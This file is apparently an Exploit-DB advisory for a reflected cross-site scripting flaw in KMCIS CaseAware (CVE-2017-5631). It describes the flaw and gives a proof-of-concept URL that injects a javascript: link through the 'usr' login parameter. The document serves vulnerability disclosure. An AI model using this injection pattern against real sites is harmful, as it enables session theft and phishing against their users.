6351914249
5 new exploits Sure Thing Disc Labeler 6.2.138.0 - Buffer Overflow (PoC) Secure Auditor 3.0 - Directory Traversal KMCIS CaseAware - Cross-Site Scripting Mantis Bug Tracker 1.3.10/2.3.0 - Cross-Site Request Forgery PlaySMs 1.4 - 'import.php' Remote Code Execution
27 lines
973 B
Text
Executable file
27 lines
973 B
Text
Executable file
# Exploit Title: CaseAware Cross Site Scripting Vulnerability
|
|
# Date: 20th May 2017
|
|
# Exploit Author: justpentest
|
|
# Vendor Homepage: https://caseaware.com/
|
|
# Version: All the versions
|
|
# Contact: transform2secure@gmail.com
|
|
# CVE : 2017-5631
|
|
|
|
Source: https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle
|
|
|
|
1) Description:
|
|
An issue with respect to input sanitization was discovered in KMCIS
|
|
CaseAware. Reflected cross site scripting is present in the user parameter
|
|
(i.e., "usr") that is transmitted in the login.php query string. So
|
|
bascially username parameter is vulnerable to XSS.
|
|
|
|
2) Exploit:
|
|
|
|
https://caseaware.abc.com:4322/login.php?mid=0&usr=admin'><a
|
|
HREF="javascript:alert('OPENBUGBOUNTY')">Click_ME<'
|
|
----------------------------------------------------------------------------------------
|
|
|
|
3) References:
|
|
|
|
https://www.openbugbounty.org/incidents/228262/
|
|
https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle
|
|
|